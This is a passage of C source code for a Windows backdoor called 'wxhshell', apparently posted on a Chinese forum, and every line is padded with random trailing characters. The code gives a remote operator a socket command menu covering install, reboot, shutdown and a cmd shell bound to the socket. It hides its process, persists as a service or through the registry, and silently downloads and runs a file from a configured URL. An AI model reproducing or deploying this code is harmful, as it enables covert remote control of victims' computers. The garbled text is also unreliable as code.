  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eq=JmO'gHs  
  } ?#nk}=;g8  
  else { 1 .o0"  
Eq8:[o  
    switch(cmd[0]) { S T4[d'|j  
  E5*pD*#  
  // 帮助 1,we: rwX  
  case '?': { .R@XstQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i~5'bSq c  
    break; #H5 +8W  
  } !2/o]_K@+  
  // 安装 "tDB[?  
  case 'i': { w7\ \m9  
    if(Install()) %/_E8GE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @B?'Mu*  
    else fN9uSnu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fa{[kJ8z  
    break; }b{7+ + Ah  
    } KR%NgV+}!0  
  // 卸载 %xp 69  
  case 'r': { o+- 0`!yj  
    if(Uninstall()) 8zjJshE/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (I{+ %  
    else Sg\+al7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;D%H}+Z  
    break; zIr-Rx'dL^  
    } lcfs 1].  
  // 显示 wxhshell 所在路径 qmNG|U&  
  case 'p': { "od 2i\  
    char svExeFile[MAX_PATH]; OhM_{]*  
    strcpy(svExeFile,"\n\r"); ' wp _U /  
      strcat(svExeFile,ExeFile); e YiqTWn:  
        send(wsh,svExeFile,strlen(svExeFile),0); H#T&7X_<  
    break; oTTE<Ct [  
    } Lg-!,Y   
  // 重启 EK\xc'6M  
  case 'b': { O6">Io5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fOP3`G^\  
    if(Boot(REBOOT)) UunZ/A$]m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yEkwdx5!(  
    else { /#?! 9c  
    closesocket(wsh); _Y)Wi[  
    ExitThread(0); s;[WN.  
    } c&PaJm  
    break; xE*. ,:,&  
    } d9l2mJzW  
  // 关机 tNYuuC%N  
  case 'd': { [&lH[:Y#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uu/2C \n}  
    if(Boot(SHUTDOWN)) o76{;Bl\O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6yC4rX!a  
    else { ROO@EQ#`Z  
    closesocket(wsh); TrQUhmS/!  
    ExitThread(0); %kP=VUXj  
    } g#G ]}8C  
    break; &@w0c>Y  
    } s'BlFB n  
  // 获取shell k/)h@K8@  
  case 's': { h:KEhj\d?  
    CmdShell(wsh); \4O_@d`A  
    closesocket(wsh); $KS!vS7  
    ExitThread(0); %Y9CZRY 9  
    break; a&7uRR26  
  } HK VtO%&  
  // 退出 :*YnH&  
  case 'x': { f*Os~@K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P#[?Kfi  
    CloseIt(wsh); cNye@}$lu  
    break; Mt@Ma ]!  
    } K{ntl-D&y  
  // 离开 I ^[[*Bh*C  
  case 'q': { v[)8 1uY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KxWm63"  
    closesocket(wsh); 'LR|DS[Ne  
    WSACleanup(); o.s(=iG  
    exit(1); oqzWL~  
    break; 1*.*\4xo  
        } sD|}? 7  
  } IsDwa qd|  
  } ,wngS=  
LCuz_LTFq{  
  // 提示信息 lNTbd"}$:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yD@1H(yM  
} |7${E^u  
  } R@U4Ae{+  
+,j6dYub  
  return; Mq_P'/  
} DWN9_*{  
/Pg)@*~  
// shell模块句柄 1MmEP  
int CmdShell(SOCKET sock) +k[w)7Q  
{ A2 $05a$%  
STARTUPINFO si; }F|B'[wn  
ZeroMemory(&si,sizeof(si)); dN7.W   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0 ZSn r+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KLG29G  
PROCESS_INFORMATION ProcessInfo; cwzgIm+  
char cmdline[]="cmd"; h\Q@zR*0a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |kTq &^$  
  return 0; 2\;/mQI2A  
} lS#^v#uS  
2'-84  
// 自身启动模式 JpxQS~VX  
int StartFromService(void) 12;YxW>[  
{ wuW{ 2+)B  
typedef struct \ FJ ae  
{ h@o6=d=4  
  DWORD ExitStatus; lD-2 5~YV  
  DWORD PebBaseAddress; ap2g^lQXq  
  DWORD AffinityMask; $\|Q+7lQ  
  DWORD BasePriority; 96P&+  
  ULONG UniqueProcessId; FZIC |uz  
  ULONG InheritedFromUniqueProcessId; Zxozhmg  
}   PROCESS_BASIC_INFORMATION; z;ku*IV  
B2|0.G|[j  
PROCNTQSIP NtQueryInformationProcess; tGzp= PyA  
WW2hwB (  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eTay/i<-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |~PaCw8-ge  
j; R20xf0  
  HANDLE             hProcess; YBR)S_C$_  
  PROCESS_BASIC_INFORMATION pbi; Ob}XeN(L3  
4O/IT1+A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `xx3JQv[  
  if(NULL == hInst ) return 0; [J(b"c6  
6 jm@`pYbE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zqBzataR:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vU]n0)<KB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =\oL'>q  
]>Gi_20*.  
  if (!NtQueryInformationProcess) return 0; M&<qGV$A  
5jUy[w @  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y)a)VvU":  
  if(!hProcess) return 0; O0s!3hKu  
t`R{N1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xplV6q`  
8FZC0j.^DH  
  CloseHandle(hProcess); 4>a(!h t  
Dln1 R[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,D]g]#Lq  
if(hProcess==NULL) return 0; /wl]kGF  
r4DHALu#)  
HMODULE hMod; 3vjOfr`  
char procName[255]; 3bR%#G%  
unsigned long cbNeeded; )rt%.`  
0:<Y@#L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }6<5mq)%  
,<)D3K<  
  CloseHandle(hProcess); G--(Ef%v'  
4y?n62N8$  
if(strstr(procName,"services")) return 1; // 以服务启动 ] $r].,&  
".waCt6  
  return 0; // 注册表启动 &1?6Q_p6c  
} q\|RI;W  
0a^bAEP  
// 主模块 k0#s{<I]E  
int StartWxhshell(LPSTR lpCmdLine) %KkC1.yu<  
{ dr+(C[=  
  SOCKET wsl; XWQ `]m)  
BOOL val=TRUE; -2>s#/%  
  int port=0; Y:L[Iz95o  
  struct sockaddr_in door; peT91b  
&v t)7[  
  if(wscfg.ws_autoins) Install(); ViMl{3  
&qWB\m  
port=atoi(lpCmdLine); ir>h3Zk   
G &NK  
if(port<=0) port=wscfg.ws_port; .`5|NUhN  
J:gC1g^  
  WSADATA data; Ry"4v_e9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b;5j awG  
v}a {nU'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Wf"GA i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wy tMoG\  
  door.sin_family = AF_INET; I`rN+c:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7pQ 5`;P  
  door.sin_port = htons(port); Z"_8 l3  
Z`M pH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #asi%&3pP  
closesocket(wsl); /|i*'6*  
return 1; 3Il._]#  
} , QWus"5H  
{FKr^)g  
  if(listen(wsl,2) == INVALID_SOCKET) { #jG?{j3;?  
closesocket(wsl); ".$kOH_:  
return 1; U5H%wA['m  
} Qg~w 3~  
  Wxhshell(wsl); G?=&\fg_:  
  WSACleanup(); 1Q!^*D  
_cWuRvY  
return 0; Q\ 6-SAS  
jOrfI-&.G  
} ZvT,HJ0?  
SO(BkxV@  
// 以NT服务方式启动 kk6 !krZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ? ,s'UqR  
{ 9?hZf$z  
DWORD   status = 0; 0E!-G= v  
  DWORD   specificError = 0xfffffff; T)7U+~nQ"  
:??W3ROn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G$V=\60a-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %A'mXatk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; av|T|J/(  
  serviceStatus.dwWin32ExitCode     = 0; dhLR#m30T  
  serviceStatus.dwServiceSpecificExitCode = 0; YX-j|m|  
  serviceStatus.dwCheckPoint       = 0; BA1uo0S `S  
  serviceStatus.dwWaitHint       = 0; l1'v`!  
g`S;xs  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); + c3pe4  
  if (hServiceStatusHandle==0) return; !37I2*+4  
Gt*K:KT=L  
status = GetLastError(); l~o!(rpX  
  if (status!=NO_ERROR) E]/2 u3p  
{ ;5[ OS8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u%z'.#r;a  
    serviceStatus.dwCheckPoint       = 0; 3lZl  
    serviceStatus.dwWaitHint       = 0; ;#9?3O s  
    serviceStatus.dwWin32ExitCode     = status; MJ?t{=  
    serviceStatus.dwServiceSpecificExitCode = specificError; .Vnb+o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |6bvUFr  
    return; hN!;Tny  
  } >wmHCOL:  
tB~#;:g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }aE'  
  serviceStatus.dwCheckPoint       = 0; >\<eR]12  
  serviceStatus.dwWaitHint       = 0; Y` ]P&y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s)]T"87H'_  
} /tj]^QspS  
]goJ- &  
// 处理NT服务事件,比如:启动、停止 a<\n$E#q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D|)_c1g  
{ lCp6UkE  
switch(fdwControl) Qw2-Vv4!"  
{ jGz~}&B  
case SERVICE_CONTROL_STOP: l9Ol|Cb&  
  serviceStatus.dwWin32ExitCode = 0; n8;p]{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  EG`AkWy  
  serviceStatus.dwCheckPoint   = 0; cb]X27uww  
  serviceStatus.dwWaitHint     = 0; q#mL-3OQ  
  { ^-q{:lx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pIC'nO_  
  } +vxf_*0;  
  return; EniV-Uj\D  
case SERVICE_CONTROL_PAUSE: H i8V=+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <#?dPDMG.*  
  break; Cfmd*,  
case SERVICE_CONTROL_CONTINUE: dGOFSH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tmS2%1o  
  break; ( `bb1gz  
case SERVICE_CONTROL_INTERROGATE: $%DoLpE>  
  break; N~=PecQ  
}; T})q/oUqK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J~WT;s  
} +%\Ci!%b  
CqC )H7A  
// 标准应用程序主函数 $ eI cCLF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8j70X <R  
{ o"BED! /  
NO[A00m|OL  
// 获取操作系统版本 +&VY6(Zj+*  
OsIsNt=GetOsVer(); iE"]S )  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;y\/7E  
) u{ ]rb[  
  // 从命令行安装 |=YK2};  
  if(strpbrk(lpCmdLine,"iI")) Install(); _|12BVq  
j3-o}6  
  // 下载执行文件 v"yu7tZ3N  
if(wscfg.ws_downexe) { B2]52Fg-"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V{oFig 6  
  WinExec(wscfg.ws_filenam,SW_HIDE); IKP_%R8.  
} WM|G/'q  
fTPm Fb  
if(!OsIsNt) { >Z_;ZMu)  
// 如果时win9x,隐藏进程并且设置为注册表启动 K% FK  
HideProc(); &t8,326;  
StartWxhshell(lpCmdLine); < r~hU*u  
} xS12$ib ~G  
else /}E2Rr?{  
  if(StartFromService()) %<DdX*Qp  
  // 以服务方式启动 }FS_"0  
  StartServiceCtrlDispatcher(DispatchTable); D8,8j;  
else KO8{eT9d  
  // 普通方式启动 co8R-AB  
  StartWxhshell(lpCmdLine); l VD{Y`)  
P-2DBNB7  
return 0; EoPvF`T  
}
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只看该作者 1 发表于: 2006-10-10
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